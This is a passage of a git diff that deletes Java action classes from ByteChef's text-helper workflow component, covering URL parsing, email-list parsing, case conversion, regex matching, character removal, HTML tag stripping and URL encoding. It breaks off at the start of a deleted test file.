-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#parse-email-list")
-        .perform(TextHelperParseEmailListAction::perform);
-
-    private TextHelperParseEmailListAction() {
-    }
-
-    public static List<Map<String, String>> perform(
-        Parameters inputParameters, Parameters connectionParameters, Context context) {
-
-        List<String> emailList = inputParameters.getRequiredList(EMAILS, String.class);
-
-        return emailList.stream()
-            .map(TextHelperUtils::parseEmail)
-            .toList();
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperParseUrlAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperParseUrlAction.java
deleted file mode 100644
index b02f77ba45a..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperParseUrlAction.java
+++ /dev/null
@@ -1,135 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.URL;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.exception.ProviderException;
-import java.net.URI;
-import java.net.URL;
-import java.net.URLDecoder;
-import java.nio.charset.StandardCharsets;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperParseUrlAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("parseUrl")
-        .title("Parse URL")
-        .description("Parses URL into structured data.")
-        .properties(
-            string(URL)
-                .label("URL")
-                .description("The URL that will be turned into structured data.")
-                .required(true))
-        .output(
-            outputSchema(
-                object()
-                    .description("The parsed URL data.")
-                    .properties(
-                        string("protocol")
-                            .description("The protocol of the URL."),
-                        string("slashes")
-                            .description("Indicates if the URL has a slash after the protocol."),
-                        string("auth")
-                            .description("The authentication information of the URL."),
-                        string("host")
-                            .description("The host part of the URL."),
-                        string("port")
-                            .description("The port part of the URL."),
-                        string("hostname")
-                            .description("The hostname part of the URL."),
-                        string("hash")
-                            .description("The hash part of the URL."),
-                        string("search")
-                            .description("The search part of the URL."),
-                        string("pathname")
-                            .description("The pathname part of the URL."),
-                        string("path")
-                            .description("The path part of the URL including the query if present."),
-                        string("href")
-                            .description("The full URL as a string."),
-                        object("query")
-                            .description("The query parameters of the URL.")
-                            .properties(
-                                string("key")
-                                    .description("The key of the query parameter."),
-                                string("value")
-                                    .description("The value of the query parameter.")))))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#parse-url")
-        .perform(TextHelperParseUrlAction::perform);
-
-    private TextHelperParseUrlAction() {
-    }
-
-    public static Map<String, Object> perform(
-        Parameters inputParameters, Parameters connectionParameters, Context context) {
-
-        Map<String, Object> result = new HashMap<>();
-
-        String urlString = inputParameters.getRequiredString(URL);
-
-        try {
-            URI uri = URI.create(urlString);
-            URL url = uri.toURL();
-
-            result.put("protocol", url.getProtocol() + ":");
-            result.put("slashes", true);
-            result.put("auth", null);
-            result.put("host", url.getHost() + ((url.getPort() != -1) ? ":" + url.getPort() : ""));
-            result.put("port", (url.getPort() == -1) ? "" : String.valueOf(url.getPort()));
-            result.put("hostname", url.getHost());
-            result.put("hash", (url.getRef() == null) ? null : "#" + url.getRef());
-            result.put("search", (url.getQuery() == null) ? null : "?" + url.getQuery());
-            result.put("pathname", url.getPath());
-            result.put("path", url.getPath() + ((url.getQuery() == null) ? "" : "?" + url.getQuery()));
-            result.put("href", url.toString());
-
-            Map<String, String> queryMap = new HashMap<>();
-
-            if (url.getQuery() != null && !url.getQuery()
-                .isEmpty()) {
-
-                String[] pairs = url.getQuery()
-                    .split("&");
-
-                for (String pair : pairs) {
-                    String[] kv = pair.split("=", 2);
-                    String key = URLDecoder.decode(kv[0], StandardCharsets.UTF_8);
-                    String value = (kv.length > 1) ? URLDecoder.decode(kv[1], StandardCharsets.UTF_8) : "";
-                    queryMap.put(key, value);
-                }
-            }
-            result.put("query", queryMap);
-
-        } catch (Exception e) {
-            throw new ProviderException("Invalid URL: " + e.getMessage());
-        }
-
-        return result;
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperProperCaseAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperProperCaseAction.java
deleted file mode 100644
index 416714795f1..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperProperCaseAction.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import org.apache.commons.text.WordUtils;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperProperCaseAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("properCase")
-        .title("Proper Case")
-        .description("Capitalize the first letter of every word.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text that will be turned into proper case.")
-                .required(true))
-        .output(outputSchema(string().description("The text in proper case.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#proper-case")
-        .perform(TextHelperProperCaseAction::perform);
-
-    private TextHelperProperCaseAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-
-        return WordUtils.capitalize(text);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperRegularExpressionMatchTestAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperRegularExpressionMatchTestAction.java
deleted file mode 100644
index 7c20c9d965a..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperRegularExpressionMatchTestAction.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.IGNORE_CASE;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.MULTILINE;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.REGULAR_EXPRESSION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.UNICODE;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * @author Nikolina Špehar
- */
-public final class TextHelperRegularExpressionMatchTestAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("regExMatchTest")
-        .title("Regular Expression Match Test")
-        .description("Test if a string matches a regex.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text that will be matched to the regular expression.")
-                .required(true),
-            string(REGULAR_EXPRESSION)
-                .label("Regular Expression")
-                .description("Regular expression that will be used on the text.")
-                .required(true),
-            bool(IGNORE_CASE)
-                .label("Ignore Case")
-                .description("If this value is set to true the regular expression will be case-insensitive.")
-                .required(false)
-                .defaultValue(false),
-            bool(MULTILINE)
-                .label("Multiline")
-                .description("If this value is set to true the regular expression will be applied to multiple lines.")
-                .required(false)
-                .defaultValue(false),
-            bool(UNICODE)
-                .label("Unicode")
-                .description("If this value is set to true the regular expression will support unicode characters.")
-                .required(false)
-                .defaultValue(false))
-        .output(outputSchema(bool().description("Result of testing if a string matches a regular expression.")))
-        .help(
-            "",
-            "https://docs.bytechef.io/reference/components/text-helper_v1#regular-expression-match-test")
-        .perform(TextHelperRegularExpressionMatchTestAction::perform);
-
-    private TextHelperRegularExpressionMatchTestAction() {
-    }
-
-    public static boolean perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-        String regularExpression = inputParameters.getRequiredString(REGULAR_EXPRESSION);
-
-        boolean ignoreCase = inputParameters.getBoolean(IGNORE_CASE);
-        boolean multiline = inputParameters.getBoolean(MULTILINE);
-        boolean unicode = inputParameters.getBoolean(UNICODE);
-
-        int flags = 0;
-
-        if (ignoreCase) {
-            flags |= Pattern.CASE_INSENSITIVE;
-        }
-
-        if (multiline) {
-            flags |= Pattern.MULTILINE;
-        }
-
-        if (unicode) {
-            flags |= Pattern.UNICODE_CASE | Pattern.UNICODE_CHARACTER_CLASS;
-        }
-
-        Pattern pattern = Pattern.compile(regularExpression, flags);
-        Matcher matcher = pattern.matcher(text);
-
-        return matcher.find();
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperRemoveCharactersAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperRemoveCharactersAction.java
deleted file mode 100644
index 21b4e6c5004..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperRemoveCharactersAction.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.CHARACTER;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperRemoveCharactersAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("removeCharacters")
-        .title("Remove Characters")
-        .description("Remove specified characters from a string.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text that will be processed to remove specified characters.")
-                .required(true),
-            string(CHARACTER)
-                .label("Character")
-                .description("Character that will be removed from the text.")
-                .maxLength(1)
-                .required(true))
-        .output(outputSchema(string().description("Result of removing special characters from a string.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#remove-characters")
-        .perform(TextHelperRemoveCharactersAction::perform);
-
-    private TextHelperRemoveCharactersAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-        String character = inputParameters.getRequiredString(CHARACTER);
-
-        return text.replace(character, "");
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperRemoveSpecialCharactersAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperRemoveSpecialCharactersAction.java
deleted file mode 100644
index 8e7810eb28f..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperRemoveSpecialCharactersAction.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperRemoveSpecialCharactersAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("removeSpecialCharacters")
-        .title("Remove Special Characters")
-        .description("Remove special characters from a string.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text that will be processed to remove special characters.")
-                .required(true))
-        .output(outputSchema(string()
-            .description("Result of removing special characters from a string.")))
-        .help(
-            "",
-            "https://docs.bytechef.io/reference/components/text-helper_v1#remove-special-characters")
-        .perform(TextHelperRemoveSpecialCharactersAction::perform);
-
-    private TextHelperRemoveSpecialCharactersAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-        String regularExpression = "[^a-zA-Z0-9]";
-
-        return text.replaceAll(regularExpression, "");
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperSentenceCaseAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperSentenceCaseAction.java
deleted file mode 100644
index 3c0d9d57283..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperSentenceCaseAction.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperSentenceCaseAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("sentenceCase")
-        .title("Sentence Case")
-        .description("Converts string into sentence case.")
-        .properties(
-            string(TEXT)
-                .description("The input text that will be converted to sentence case.")
-                .label("Text")
-                .required(true))
-        .output(outputSchema(string().description("Sentence case text")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#sentence-case")
-        .perform(TextHelperSentenceCaseAction::perform);
-
-    private TextHelperSentenceCaseAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-        text = text.toLowerCase()
-            .trim();
-
-        StringBuilder sentenceCaseString = new StringBuilder(text.length());
-        boolean capitalizeNext = true;
-
-        for (int index = 0; index < text.length(); index++) {
-            char character = text.charAt(index);
-
-            if (capitalizeNext && Character.isLetter(character)) {
-                sentenceCaseString.append(Character.toUpperCase(character));
-                capitalizeNext = false;
-            } else {
-                sentenceCaseString.append(character);
-            }
-
-            if (character == '.' || character == '!' || character == '?') {
-                capitalizeNext = true;
-            }
-        }
-
-        return sentenceCaseString.toString();
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperShortenAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperShortenAction.java
deleted file mode 100644
index 19fa5167cc2..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperShortenAction.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.LENGTH;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperShortenAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("shorten")
-        .title("Shorten")
-        .description("Shorten string to a max allowed length.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text that will be shortened.")
-                .required(true),
-            integer(LENGTH)
-                .label("Length")
-                .description("Maximum allowed length of the string.")
-                .required(true))
-        .output(outputSchema(string().description("Shortened string.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#shorten")
-        .perform(TextHelperShortenAction::perform);
-
-    private TextHelperShortenAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-        int maxLength = inputParameters.getRequiredInteger(LENGTH);
-
-        return text.substring(0, maxLength);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperStripHtmlTagsAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperStripHtmlTagsAction.java
deleted file mode 100644
index 2c66f152b9b..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperStripHtmlTagsAction.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import org.jsoup.Jsoup;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperStripHtmlTagsAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("stripHtmlTags")
-        .title("Strip HTML Tags")
-        .description("Remove HTML tags from a string leaving only the tag's text content.")
-        .properties(
-            string(TEXT)
-                .description("The input text that will be stripped from HTML tags.")
-                .label("Text")
-                .required(true))
-        .output(outputSchema(string().description("Text without HTML tags.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#strip-html-tags")
-        .perform(TextHelperStripHtmlTagsAction::perform);
-
-    private TextHelperStripHtmlTagsAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-
-        return Jsoup.parse(text)
-            .text();
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperUnderscoreAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperUnderscoreAction.java
deleted file mode 100644
index d753c2413ce..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperUnderscoreAction.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperUnderscoreAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("underscore")
-        .title("Underscore")
-        .description(
-            "Convert text to snake case, lowercasing all text, removing special characters, and replacing spaces " +
-                "with underscores.")
-        .properties(
-            string(TEXT)
-                .description("The input text that will be converted to snake case.")
-                .label("Text")
-                .required(true))
-        .output(outputSchema(string().description("Text in snake case.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#underscore")
-        .perform(TextHelperUnderscoreAction::perform);
-
-    private TextHelperUnderscoreAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-
-        return text.toLowerCase()
-            .replaceAll("[^a-z0-9\\s]", "")
-            .trim()
-            .replaceAll("\\s+", "_");
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperUrlEncodeDecodeKeyValuePairAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperUrlEncodeDecodeKeyValuePairAction.java
deleted file mode 100644
index bc3ddb5288d..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperUrlEncodeDecodeKeyValuePairAction.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.KEY;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.OPERATION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.OPERATION_PROPERTY;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PAIRS;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.VALUE;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.text.helper.constant.OperationType;
-import java.net.URLDecoder;
-import java.net.URLEncoder;
-import java.nio.charset.StandardCharsets;
-import java.util.Map;
-import java.util.stream.Collectors;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperUrlEncodeDecodeKeyValuePairAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("urlEncodeDecodeKeyValuePair")
-        .title("URL Encode/Decode Key/Value Pair")
-        .description("URL encode/decode a specified set of key/value pairs.")
-        .properties(
-            array(PAIRS)
-                .label("Pairs")
-                .description("Key/Value pairs that will be encoded.")
-                .required(true)
-                .items(
-                    object()
-                        .properties(
-                            string(KEY)
-                                .label("Key")
-                                .description("Key in the key/value pair.")
-                                .required(true),
-                            string(VALUE)
-                                .label("Value")
-                                .description("Value in the key/value pair.")
-                                .required(true))),
-            OPERATION_PROPERTY)
-        .output(outputSchema(string().description("URL encoded/decoded content.")))
-        .help(
-            "",
-            "https://docs.bytechef.io/reference/components/text-helper_v1#url-encodedecode-keyvalue-pair")
-        .perform(TextHelperUrlEncodeDecodeKeyValuePairAction::perform);
-
-    private TextHelperUrlEncodeDecodeKeyValuePairAction() {
-    }
-
-    public static Map<String, String> perform(
-        Parameters inputParameters, Parameters connectionParameters, Context context) {
-
-        Map<String, String> pairs = inputParameters.getRequiredMap(PAIRS, String.class);
-
-        String operation = inputParameters.getRequiredString(OPERATION);
-
-        if (operation.equals(OperationType.ENCODE.name())) {
-            return encodeKeyValuePairs(pairs);
-
-        } else {
-            return decodeKeyValuePairs(pairs);
-        }
-    }
-
-    private static Map<String, String> encodeKeyValuePairs(Map<String, String> pairs) {
-        return pairs.entrySet()
-            .stream()
-            .collect(Collectors.toMap(
-                entry -> URLEncoder.encode(entry.getKey(), StandardCharsets.UTF_8),
-                entry -> URLEncoder.encode(entry.getValue(), StandardCharsets.UTF_8)));
-    }
-
-    private static Map<String, String> decodeKeyValuePairs(Map<String, String> pairs) {
-        return pairs.entrySet()
-            .stream()
-            .collect(Collectors.toMap(
-                entry -> URLDecoder.decode(entry.getKey(), StandardCharsets.UTF_8),
-                entry -> URLDecoder.decode(entry.getValue(), StandardCharsets.UTF_8)));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperChangeTypeActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperChangeTypeActionTest.java
deleted file mode 100644
index e4f907b19a6..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperChangeTypeActionTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertThrows;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.exception.ProviderException;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
